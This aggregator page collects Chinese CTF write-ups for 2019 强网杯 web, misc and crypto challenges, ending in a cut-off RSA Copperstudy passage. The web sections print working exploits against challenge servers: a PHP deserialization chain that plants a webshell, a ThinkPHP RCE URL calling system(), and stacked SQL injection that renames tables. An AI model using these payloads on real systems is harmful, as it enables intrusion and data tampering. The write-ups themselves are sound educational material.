精华内容
参与话题
问答
  • 2019强网杯部分writeup

    千次阅读 2019-06-04 21:54:23
    复现环境https://github.com/CTFTraining/qwb_2019_upload 先看一下网站情况: 是一个注册可登录的界面,登陆之后可以上传图片,一个账号只能上传一次。 扫一下后台目录,发现upload是泄露的,www.tar.gz是...

    Web

    1、UPLOAD

    复现环境https://github.com/CTFTraining/qwb_2019_upload
    先看一下网站情况:
    在这里插入图片描述
    是一个注册可登录的界面,登陆之后可以上传图片,一个账号只能上传一次。
    在这里插入图片描述
    扫一下后台目录,发现upload是泄露的,www.tar.gz是泄露的。
    www.tar.gz下载下来是网站的源码,upload则是我们上传的文件,找到上传文件的源码:
    在这里插入图片描述

    <?php
    namespace app\web\controller;
    
    use think\Controller;
    
    class Profile extends Controller
    {
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;
    
        public function __construct()
        {
            $this->checker=new Index();
            $this->upload_menu=md5($_SERVER['REMOTE_ADDR']);
            @chdir("../public/upload");
            if(!is_dir($this->upload_menu)){
                @mkdir($this->upload_menu);
            }
            @chdir($this->upload_menu);
        }
    
        public function upload_img(){
            if($this->checker){
                if(!$this->checker->login_check()){
                    $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                    $this->redirect($curr_url,302);
                    exit();
                }
            }
    
            if(!empty($_FILES)){
                $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
                $this->filename=md5($_FILES['upload_file']['name']).".png";
                $this->ext_check();
            }
            if($this->ext) {
                if(getimagesize($this->filename_tmp)) {
                    @copy($this->filename_tmp, $this->filename);
                    @unlink($this->filename_tmp);
                    $this->img="../upload/$this->upload_menu/$this->filename";
                    $this->update_img();
                }else{
                    $this->error('Forbidden type!', url('../index'));
                }
            }else{
                $this->error('Unknow file type!', url('../index'));
            }
        }
    
        public function update_img(){
            $user_info=db('user')->where("ID",$this->checker->profile['ID'])->find();
            if(empty($user_info['img']) && $this->img){
                if(db('user')->where('ID',$user_info['ID'])->data(["img"=>addslashes($this->img)])->update()){
                    $this->update_cookie();
                    $this->success('Upload img successful!', url('../home'));
                }else{
                    $this->error('Upload file failed!', url('../index'));
                }
            }
        }
    
        public function update_cookie(){
            $this->checker->profile['img']=$this->img;
            cookie("user",base64_encode(serialize($this->checker->profile)),3600);
        }
    
        public function ext_check(){
            $ext_arr=explode(".",$this->filename);
            $this->ext=end($ext_arr);
            if($this->ext=="png"){
                return 1;
            }else{
                return 0;
            }
        }
    
        public function __get($name)
        {
            return $this->except[$name];
        }
    
        public function __call($name, $arguments)
        {
            if($this->{$name}){
                $this->{$this->{$name}}($arguments);
            }
        }
    
    }
    

    对上传的文件进行了md5处理,修改后缀拿shell是不可能了。
    理一下思路,应该是Register -> Index、Login -> Profile,然后对代码就行审计,文件上传不可行了,但是Profile里有个反序列化函数,我们可以利用类的反序列化。
    看Profile里的这一段:

    public function upload_img(){
            if($this->checker){
                if(!$this->checker->login_check()){
                    $curr_url="http://".$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']."/index";
                    $this->redirect($curr_url,302);
                    exit();
                }
            }
    
            if(!empty($_FILES)){
                $this->filename_tmp=$_FILES['upload_file']['tmp_name'];
                $this->filename=md5($_FILES['upload_file']['name']).".png";
                $this->ext_check();
            }
            if($this->ext) {
                if(getimagesize($this->filename_tmp)) {
                    @copy($this->filename_tmp, $this->filename);
                    @unlink($this->filename_tmp);
                    $this->img="../upload/$this->upload_menu/$this->filename";
                    $this->update_img();
                }else{
                    $this->error('Forbidden type!', url('../index'));
                }
            }else{
                $this->error('Unknow file type!', url('../index'));
            }
        }
    

    我们可以利用类的反序列化,通过copy($this->filename_tmp, $this->filename);来对文件名进行修改,那么就要绕过这段代码的第一个if语句,让checker的值为false,让ext的值为true,接下来就是考虑怎么利用反序列化来执行这个upload_img函数了。

    Profile中有这两个魔术方法:

    public function __get($name)
        {
            return $this->except[$name];
        }
    
        public function __call($name, $arguments)
        {
            if($this->{$name}){
                $this->{$this->{$name}}($arguments);
            }
        }
    

    __call方法在对象调用不可调用方法是会被触发,__get方法在调用补课调用属性的时候会被触发,可以利用这两个魔术方法来调用update_img函数。
    poc如下:

    <?php
    namespace app\web\controller;
    
    class Register{
        public $checker;
        public $registed;
    }
    class Profile{
        public $checker;
        public $filename_tmp;
        public $filename;
        public $upload_menu;
        public $ext;
        public $img;
        public $except;
    }
    
    $a=new Register();
    $a->registed=0;
    $a->checker=new Profile();
    $a->checker->except=array('index'=>'upload_img');
    $a->checker->ext=1;
    $a->checker->filename_tmp="./upload/319bcb1118ebf67e39042aed397fe7ba/d1cd8a0e3f740a40b97e8c4140d40383.png";
    $a->checker->filename="./upload/319bcb1118ebf67e39042aed397fe7ba/shell.php";
    echo base64_encode(serialize($a));
    ?>
    

    先说__call和__get方法:

    class Test{
         public function __call($method,$args){
              echo $method;
              var_dump($args);
            }   
        }  
         $ob=new Test();
         $ob->hello(1,2);
    

    上面的例子将输出:

    hello
    Array(
    [0]=>1
    [1]=>2

    也就是说,不可调用方法的名字做__call方法的第一个参数,第二个参数是不可调用方法的参数组成的数组。
    而__get方法则是把不可调用的属性名当做参数。
    然后再来解释一下具体流程。
    先用的是Register类,看这个类里面的构造函数和析构函数:

    class Register extends Controller
    {
        public $checker;
        public $registed;
    
        public function __construct()
        {
            $this->checker=new Index();
        }
    	public function __destruct()
    	    {
    	        if(!$this->registed){
    	            $this->checker->index();
    	        }
    	    }
    

    把checker写成Profile类的对象,然后registed为0的时候会执行checker->index();这对于Profile类的对象checker来说就是一个不可调用的函数,因为Profile类中没有这个方法,所以会触发__call方法,此时__call函数的参数为:$name=index,$arguments=array([0]=>‘index’),而index对于Profile类是不可调用属性,所以触发__get方法,且以index为参数,所以我们poc中有$a->checker->except=array(‘index’=>‘upload_img’),然后__get方法就会返回调用upload_img函数,这样我们的目的就达到了,然后就会把我们的图片的文件名修改成php文件,就可以对木马进行解析了。
    下面就可以直接用蚁剑连接了。
    在这里插入图片描述

    2、强网先锋-上单

    目录可以直接浏览,找到log文件看到:
    在这里插入图片描述
    看到通过参数传递的时候可以进行命令执行,直接构造payload:
    http://49.4.26.104:32291/1/public/?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag

    访问即可拿到flag。

    3、随便注

    (由于是复现,可能截图内容和原题不一样,但是做题方法是一样的)
    考点:堆叠注入
    随便测试一下,得到回显:
    在这里插入图片描述
    可以看到注入的关键字被过滤,点也被过滤,貌似注入语句少了点是注不出来东西的,无法访问information_schema中的tables和columns 的,尝试堆叠注入:
    直接对1查询:
    在这里插入图片描述
    payload:’;show tables;
    在这里插入图片描述
    看到有两个表,逐个查看每个表的信息:
    payload:’;describe `1919810931114514`;
    在这里插入图片描述
    这是1919810931114514表的信息,数字串为名的表操作时要加上反引号。
    对这个结果做一个解释:
    本地创建一个表进行describe查看表的结构
    在这里插入图片描述
    所以上面返回的数组是有表的属性组成,describe结果的每个字段为表的一个元素,所以可以知道flag在1919810931114514表中。

    再看看表words:
    在这里插入图片描述
    由此可知表中有两个字段,页面初始查询1时返回的也是表中两行的数据,没有flag明显不是1919810931114514表,据此推断,查询1时返回的是words表的内容。

    如果把words表的名称修改掉,把1919810931114514表的内容加上id=1的名字改成words,那么当查询1时就会返回1919810931114514表的内容,也就能拿到flag了。
    payload:’;alter table `1919810931114514` add(id int default 1);alter table words rename xxx;alter table `1919810931114514` rename words;

    然后直接查询1就拿到flag了。
    在这里插入图片描述
    对于这个题:
    https://mochazz.github.io/2019/05/27/2019强网杯Web部分题解/
    提供了另一种做法

    4、高明的黑客

    在这里插入图片描述
    直接下载www.tar.gz,解压到源码,不过源码有点多了,3002个php文件,文件命名还这么变态,估计就是要写python脚本了…
    随便打开几个源码文件,看看能找到什么线索。
    在这里插入图片描述

    基本上都有$_GET[],而且有的还有system()和eval(),system()可以执行系统命令,eval()可以执行php语句,用grep -r命令查看文件中的system和eval,可以找到一大堆,所以这一题的思路应该是:通过$_GET[]来传递命令,然后由system()或eval()执行。
    下面用脚本进行(文件多,跑的时间长,如果网速慢,估计没戏):

    import re
    import requests
    import os
    
    path = 'src/'
    url = 'http://127.0.0.1:8302/'
    r = re.compile(r'(_GET\[\')(.*)(\'\])')
    listfile = os.listdir(path)
    #print(listfile)
    for file in listfile:
        f = open(path + file)
        con = f.read()
    
        result = r.findall(con)
        for j in result:
            url1 = url + file + '?' + j[1] + '=echo good;'
            print(url1)
            recon = requests.get(url1).text
            if 'good' in recon:
                print('YES')
                print(url1)
                exit();
    

    对j[1]做一下解释,re模块是python的正则匹配模块,正则表达式书写的时候可以看到有三个括号分别包括了一部分,j[1]这个地方就是正则表达式中的GET的参数部分。

    跑出来目标php文件后,直接对这个文件传递参数cat /flag就可拿到flag了。
    在这里插入图片描述

    Misc

    1、强网先锋-打野

    是个坑。。。一个蔡徐坤的图
    工具zsteg秒解:
    在这里插入图片描述

    2、鲲or鳗orGame

    没有找到复现的环境,从网上学到的方法是这样的:
    两个音乐和一个game,首先选择了game,再game页面查看源码:
    在这里插入图片描述

    mobile.js中有
    在这里插入图片描述

    下载game.gb,是GAMEBOY文件,使用VisualBoy Advance金手指进行修改。
    首先玩到 1,定位rom中的位置
    在这里插入图片描述
    然后玩到2进一步确定位置
    在这里插入图片描述
    那就把两个地址的数值改到最大 FF

    分别应用两个金手指,发现第一个,在开始到结束,结束的时候,就出了flag
    在这里插入图片描述

    Crypto

    1、强网先锋-辅助

    源码如下

    flag=open("flag","rb").read()
    
    from Crypto.Util.number import getPrime,bytes_to_long
    p=getPrime(1024)
    q=getPrime(1024)
    e=65537
    n=p*q
    m=bytes_to_long(flag)
    c=pow(m,e,n)
    print c,e,n
    
    p=getPrime(1024)
    e=65537
    n=p*q
    m=bytes_to_long("1"*32)
    c=pow(m,e,n)
    print c,e,n
    
    '''
    output:
    2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
    65537
    14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
    
    3829060039572042737496679186881067950328956133163629908872348108160129550437697677150599483923925798224328175594483217938833520220087230303470138525970468915511111320396185482564783975435346354440035776909781158407636044986403819840648379609630039348895415045723208843631191252142600667607807479954194447237061080618370787672720344741413537975922184859333432197766580150534457001196765621678659952108010596273244230812327182786329760844037149719587269632133595149294067490955644893402708720284179715002149224068928828656515326446881791228638008572889331511945042911372915003805505412099102954073299010951896955362470
    65537
    14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979
    '''
    

    给了两个rsa的c、e、n,p是两个n的公因数,于是用辗转相除法求出p

    n1 = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
    n2 = 14624662628725820618622370803948630854094687814338334827462870357582795291844925274690253604919535785934208081825425541536057550227048399837243392490762167733083030368221240764693694321150104306044125934201699430146970466657410999261630825931178731857267599750324918610790098952520113593130245010530961350592735239454337631927669542026935873535964487595433984902529960726655481696404006628917922241666148082741874033756970724357470539589848548704573091633917869387239324447730587545472564561496724882799495186768858324490838169123077051890332313671220385830444331578674338014080959653201802476516237464651809255679979
    
    def gcd(n1, n2):
        while 1:
            mod = n1 % n2
            if mod == 0:
                return n2
            n1 = n2
            n2 = mod
    
    if __name__ == "__main__":
        g = gcd(n1, n2)
        print(g)
        print(n1 / g)
    

    得到p为161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737
    然后脚本rsa解密:

    from Crypto.Util.number import  inverse, long_to_bytes
    #crypto
    c = 2482083893746618248544426737023750400124543452082436334398504986023501710639402060949106693279462896968839029712099336235976221571564642900240827774719199533124053953157919850838214021934907480633441577316263853011232518392904983028052155862154264401108124968404098823946691811798952747194237290581323868666637357604693015079007555594974245559555518819140844020498487432684946922741232053249894575417796067090655122702306134848220257943297645461477488086804856018323986796999103385565540496534422406390355987976815450744535949785073009043007159496929187184338592859040917546122343981520508220332785862546608841127597
    n = 14967030059975114950295399874185047053736587880127990542035765201425779342430662517765063258784685868107066789475747180244711352646469776732938544641583842313791872986357504462184924075227433498631423289187988351475666785190854210389587594975456064984611990461126684301086241532915267311675164190213474245311019623654865937851653532870965423474555348239858021551589650169602439423841160698793338115204238140085738680883313433574060243600028500600824624358473403059597593891412179399165813622512901263380299561019624741488779367019389775786547292065352885007224239581776975892385364446446185642939137287519945974807727
    p = 161993393900030566867150602363721535479433489542726899362944130872107225598993516228193877689420023695231584876954537089973673478074348422697619820309397363583748523503035462772765277978491082324620122838540365168604124924805412323471486221429513024367107238770298040268787441768635257727315317704741778501737
    q = n//p
    e = 65537
    
    phi = (p - 1) * (q - 1)
    d = inverse(e, phi)
    
    m = pow(c,d,n)
    
    print (m)
    print(long_to_bytes(m))
    

    拿到flag:
    在这里插入图片描述

    展开全文
  • 强网杯2019-web-随便注

    千次阅读 2020-02-05 13:34:55
    题目 writeup 首先根据题目意思,知道是SQL注入 尝试进行注入 ?inject=1 1' 发现报错,想到利用#进行截断(注释掉) 1' # 回显正常 1' and 1=1# 1' and 1=2# 发现没有回显 ...尝试union联...

    题目

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-LGZJvAd8-1580880570577)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\ti.PNG)]

    writeup

    首先根据题目意思,知道是SQL注入

    尝试进行注入

    ?inject=1
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-pjd1pIxV-1580880570579)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\1.PNG)]

    1'
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-L8LuFYaB-1580880570580)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\2.PNG)]

    发现报错,想到利用#进行截断(注释掉)

    1' #
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-tUZfKLyd-1580880570580)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\3.PNG)]

    回显正常

    1' and 1=1#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-3bIQWfLL-1580880570582)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\4.PNG)]

    1' and 1=2#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ShCibr9B-1580880570583)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\5.PNG)]

    发现没有回显

    判断字段数

    1' order by 1#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-AnpCaDQt-1580880570584)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\6.PNG)]

    1' order by 2#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VFbPgTcN-1580880570584)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\7.PNG)]

    1' order by 3#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-uRUxKyDO-1580880570585)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\8.PNG)]

    到3时报错,故知字段数为2

    尝试union联合注入

    1' union select 1,2 #
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-9kpGNNGX-1580880570586)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\9.PNG)]

    发现报错,即过滤了select等关键字

    查阅资料尝试

    堆叠注入

    1' ; show databases;#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-fJeC3nso-1580880570587)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\10.PNG)]

    成功回显

    查询表名

    1' ; show tables;#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8FwgOAEN-1580880570587)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\11.PNG)]

    查询两个表中的列名

    1' ; show columns from words;#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-B1zK3y6R-1580880570588)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\12.PNG)]

    1' ; show columns from `1919810931114514`;#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-CWGLprbm-1580880570588)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\13.PNG)]

    注意:使用反单引号

    发现flag

    查询大神博客后被下面的操作惊艳~

    重点来了!!!

    从之前的回显发现实际上都是words表内的,我们若想得到flag中的内容,需将其换为words表内的内容进行回显

    换个角度来说,就是我们需要将1919810931114514表名换为words,并将flag的列名换为id

    则需要以下三步:

    • 将表名words换为其他的,类似于word1
    • 将表名1919810931114514换为words
    • 将列名flag换为id

    并通过之前的过滤规则发现并没有过滤掉alterrename等关键字

    于是构造

    1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-ojQXoL9y-1580880570589)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\14.PNG)]

    成功改变数据库结构后

    1' or 1=1#
    

    [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-nu91WDiB-1580880570590)(E:\CTF\小白学习总结\1-BUUCTF\WEB\随便注-SQL注入(堆叠)\pic\flag.PNG)]

    得到flag~

    知识点

    堆叠注入

    在SQL中,分号(;)是用来表示一条sql语句的结束。

    试想一下我们在 ; 结束一个sql语句后继续构造下一条语句,会不会一起执行?因此这个想法也就造就了堆叠注入。

    而union injection(联合注入)也是将两条语句合并在一起,两者之间有什么区别么?

    区别就在于union 或者union all执行的语句类型是有限的,可以用来执行查询语句,而堆叠注入可以执行的是任意的语句。

    例如以下这个例子。用户输入:1; DELETE FROM products服务器端生成的sql语句为:(因未对输入的参数进行过滤)Select * from products where productid=1;DELETE FROM products当执行查询后,第一条显示查询信息,第二条则将整个表进行删除。

    参考文章:https://www.cnblogs.com/0nth3way/articles/7128189.html

    对于数据库结构改变的简单语句

    CREATE DATABASE - 创建新数据库
    ALTER DATABASE - 修改数据库
    CREATE TABLE - 创建新表
    ALTER TABLE - 变更(改变)数据库表
    DROP TABLE - 删除表
    CREATE INDEX - 创建索引(搜索键)
    DROP INDEX - 删除索引
    

    本题涉及:

    1' ; rename tables `words` to `word1` ; rename tables `1919810931114514` to `words` ;  alter table `words` change `flag` `id` varchar(100);# 
    
    • rename - 重命名

      rename tables `words` to `word1`
      

      重命名表wordsword1

    • alter - 变更列

      alter table `words` change `flag` `id` varchar(100)
      

      变更表words中的列flagid 且其性质为varchar(100)

    展开全文
  • 强网杯2019线上赛-misc

    2019-05-29 10:56:41
    Misc: 题目名称 | 签到 | 题目即flag ​ 题目名称 | 鲲or鳗orGame | 一开始入了音频隐写的坑~ 费了半天劲,开始琢磨起game的点 分析这个game,发现了/rom/game.gb 于是找到了gba模拟器,发现了金手指的功能。...

    Misc:

    题目名称 | 签到 |

    题目即flag

    img

    题目名称 | 鲲or鳗orGame |

    一开始入了音频隐写的坑~

    费了半天劲,开始琢磨起game的点

    分析这个game,发现了/rom/game.gb

    于是找到了gba模拟器,发现了金手指的功能。

    首先利用gba模拟器打开game

    img
    img

    img

    然后,搜索金手指

    img

    注意开始的指定数值为0

    点击确定,进入游戏

    当玩过一关后,再次添加金手指

    img

    img

    之后继续玩游戏

    游戏结束时,发现flag

    img

    题目名称 | 强网先锋-打野 |

    这个没什么好说的,主要看工具

    linux下的zsteg

    img
    具体题目可点下面链接下载哟
    链接:https://pan.baidu.com/s/1rdYpKsHWWYcp_4y39fVc4g
    提取码:wlhx

    展开全文
  • 强网杯2019 Copperstudy ![强网杯2019](https://img-blog.csdnimg.cn/20200930195613457.png?x-oss-process=image/watermark,type_ZmFuZ3poZW5naGVpdGk,shadow_10,text_aHR0cHM6Ly9ibG9nLmNzZG4ubmV0L3dhbGtlcl9mZW5...

    强网杯2019 Copperstudy

    在这里插入图片描述

     

    做之前很爽,做之后更爽
    前提说明:百度的wp没看到第0题以为没wp然后饱受摧残做到最后,特写此文纪念下
     
    惨遭社会毒打的我在这里插入图片描述
    打开题目:

    nc ip port
    

    我做的时候直接用的复现,也就是那个GitHub链接(关键坑比的地方就在这里,等碰到的时候再说

     

    第0题

    [+]proof: skr=os.urandom(8)
    [+]hashlib.sha256(skr).hexdigest()=9987a7715e30a05b29c1fae9c8647fb2a1046589e8fe9b684e75754f86d26c79
    [+]skr[0:5].encode('hex')=2127654d44
    [-]skr.encode('hex')=
    

    好家伙,第一题直接一波劝退,我当时看到人傻了,先看下代码

    import os
    os.urandom(i) #基于系统生成长度为i随机byte字节的数据
    

    他给出了m的0-5的数据

    [+]skr[0:5].encode('hex')=f708e349be
    

    直接解密,传统艺能导入

    from Crypto.Util.number import *
    m = long_to_bytes(0xf708e349be)
    print(m) #b'\xf7\x08\xe3I\xbe'
    

    一看这怎么不像5长度的样子,开始进入蒙蔽状态,测试

    >>>a = os.random(8)#b'\x00p\xaf\xbf\xf6\xc1\x10\xe9'
    >>>a[0]
    \x00
    >>>a[1]
    p
    >>>a[2]
    \xbf
    ...
    

    测了半天,发现他os.urandom出来的数据就是0-255的chr值,可见字符他就转换,不可见他就变成\xXY的形式,其中XY的范围是00-ff。

    发现这个规律之后我立马来了思路,这不就是穷举法嘛,已经给出了5个长度的数据,也就是说剩下的3个数据的组合最多有256^3种可能性,虽然感觉数据量大,但对于现代计算机这点复杂度更本不算什么

    然后我这样做了,然后我没做出来…裂开
    后来想想这是第0题啊,太丢脸了,然后又莽上去了
    测试了下长度为3的数据

    from Crypto.Util.number import *
    import os
    test = []
    for i in range(1000):
    	test.append(bytes_to_long(os.urandom(3)))
    print(max(test))
    print(min(test))
    
    

    结果
    在这里插入图片描述
    一看觉得可能会有区间可循,因为想到本来他这个随机性很强,不如试试long_to_bytes的爆破,我出于小心,选择最低1w,最高2000w的区间,并且十分相信我的电脑

    from Crypto.Util.number import *
    import hashlib
    
    for i in range(10000,20000000):
    	tar = 0x48dac257f3
    	payload = long_to_bytes(i)
    	payload = long_to_bytes(tar) + payload
    	if hashlib.sha256(payload).hexdigest() == '0b8debba71632360431d3c0a35395686c0ddfe4142ae4e068b5ec6d36b8dcfd1' :
    		print(i)
    		break
    

    还真打出来了
    在这里插入图片描述
    这里跑到511w只花了1分多钟,时间还算合理的趴

    然后只要把跑出来的数据hex拼接到前面给出的5个数据后面前面加个0x就行了
    注意:每次系统的urandom值不同,每次刷新都要重跑

     

    第1题

    总算到了第一题,拿到题目
    [+]Generating challenge 1
    
    
    [+]n=13112061820685643239663831166928327119579425830632458568801544406506769461279590962772340249183569437559394200635526183698604582385769381159563710823689417274479549627596095398621182995891454516953722025068926293512505383125227579169778946631369961753587856344582257683672313230378603324005337788913902434023431887061454368566100747618582590270385918204656156089053519709536001906964008635708510672550219546894006091483520355436091053866312718431318498783637712773878423777467316605865516248176248780637132615807886272029843770186833425792049108187487338237850806203728217374848799250419859646871057096297020670904211
    
    [+]e=3
    
    [+]m=random.getrandbits(512)
    
    [+]c=pow(m,e,n)=15987554724003100295326076036413163634398600947695096857803937998969441763014731720375196104010794555868069024393647966040593258267888463732184495020709457560043050577198988363754703741636088089472488971050324654162166657678376557110492703712286306868843728466224887550827162442026262163340935333721705267432790268517
    
    [+]((m>>72)<<72)=2519188594271759205757864486097605540135407501571078627238849443561219057751843170540261842677239681908736
    

    拿到题目我先努力保持冷静
    在这里插入图片描述
    好,开始看题
    在这里插入图片描述
    先测个位数,好家伙,一看2047位,e=3,这波问题很大,m是512位的random数据,测下
    在这里插入图片描述
    在这里插入图片描述
    懂得都懂,老懂哥了

    from Crypto.Util.number import *
    import gmpy2
    c=15987554724003100295326076036413163634398600947695096857803937998969441763014731720375196104010794555868069024393647966040593258267888463732184495020709457560043050577198988363754703741636088089472488971050324654162166657678376557110492703712286306868843728466224887550827162442026262163340935333721705267432790268517
    m = gmpy2.iroot(c,3)[0]
    print(long_to_bytes(m))
    

    唯一疑惑的就是最后的m给了不知道一个啥玩意,反正做出来就不管了
     

    第2题

    [+]Generating challenge 2
    
    
    [+]n=12784625729032789592766625203074018101354917751492952685083808825504221816847310910447532133616954262271205877651255598995305639194329607493047941212754523879402744065076183778452640602625242851184095546100200565113016690161053808950384458996881574266573992526357954507491397978278604102524731393059303476350167738237822647246425836482533150025923051544431330502522043833872580483142594571802189321599016725741260254170793393777293145010525686561904427613648184843619301241414264343057368192416551134404100386155751297424616254697041043851852081071306219462991969849123668248321130382231769250865190227630009181759219
    
    [+]e=65537
    
    [+]m=random.getrandbits(512)
    
    [+]c=pow(m,e,n)=627824086157119245056478875800598959553774250161670787506083253960788230737588761787385686125828765665617567887904228030839535317987589608761534500003128247164233774794784231518212804270056404565710426613938264302998015421153393879729263551292024543756422702956470022959537221269172084619081368498693930550456153543628170306324206266216348386707008661128717431426237486511309767286175518238620230507201952867261283880986868752676549613958785288914989429224582849218395471672295410036858881836363364885164276983237312235831591858044908369376855484127614933545955544787160352042318378588039587911741028067576722790778
    
    [+]((p>>128)<<128)=97522826022187678545924975588711975512906538181361325096919121233043973599759518562689050415761485716705615149641768982838255403594331293651224395590747133152128042950062103156564440155088882592644046069208405360324372057140890317518802130081198060093576841538008960560391380395697098964411821716664506908672
    
    [-]long_to_bytes(m).encode('hex')=
    

    第一眼进来就看了e, 65537 …在这里插入图片描述
    继续看,n,e,c,还有一个p,看样子是本题的突破口了
    在这里插入图片描述
    有一说一,确实是这样的
    在这里插入图片描述

    ((p>>128)<<128)=97522826022187678545924975588711975512906538181361325096919121233043973599759518562689050415761485716705615149641768982838255403594331293651224395590747133152128042950062103156564440155088882592644046069208405360324372057140890317518802130081198060093576841538008960560391380395697098964411821716664506908672
    

    也只能来看看这是什么jb玩意,我拿了几个数据测试了一下,发现自己原来进制运算还不是很熟,这里的运算时<< >>位移运算,也就是p右移128位再左移128位,右移直接吞左移不足位补零

    在这里插入图片描述
    也就是说这里给出p的最后128位去除补0并转换为10进制的值

    明白的人已经在百度了
    在这里插入图片描述
    已知p的高位攻击,payload:

    //sage
    
    //p4已知高位
    p4 = 286593827663265980875510954967316219073448170030900062579915534986706486906458307884391633081975974889868808093084141196610789229262338742207816117361927894904776552676541036673244090334164798443162932914355966770450894047111793505063044583029134192122352988382684883337
    n = 12784625729032789592766625203074018101354917751492952685083808825504221816847310910447532133616954262271205877651255598995305639194329607493047941212754523879402744065076183778452640602625242851184095546100200565113016690161053808950384458996881574266573992526357954507491397978278604102524731393059303476350167738237822647246425836482533150025923051544431330502522043833872580483142594571802189321599016725741260254170793393777293145010525686561904427613648184843619301241414264343057368192416551134404100386155751297424616254697041043851852081071306219462991969849123668248321130382231769250865190227630009181759219
    
    //全位数
    pbits = 1024
    
    缺省位数
    kbits = pbits - p4.nbits()
    print (p4.nbits())
    p4 = p4 << kbits
    PR.<x> = PolynomialRing(Zmod(n))
    
    f = x + p4
    x0 = f.small_roots(X=2^kbits, beta=0.4)[0]
    print ("x:" ,hex(int(x0)))
    p = p4+x0
    print ("p: ", hex(int(p)))
    assert n % p == 0
    q = n/int(p)
    print ("q: ", hex(int(q)))
    

    注意:payload里的p是去过位数的值,也就是上面的p要>>128放入payload中

    在线sage

    解出来p,q 然后有手就行,就不写了

     

    第3题

    [+]Generating challenge 3
    
    
    [+]n=92896523979616431783569762645945918751162321185159790302085768095763248357146198882641160678623069857011832929179987623492267852304178894461486295864091871341339490870689110279720283415976342208476126414933914026436666789270209690168581379143120688241413470569887426810705898518783625903350928784794371176183
    
    [+]e=3
    
    [+]m=random.getrandbits(512)
    
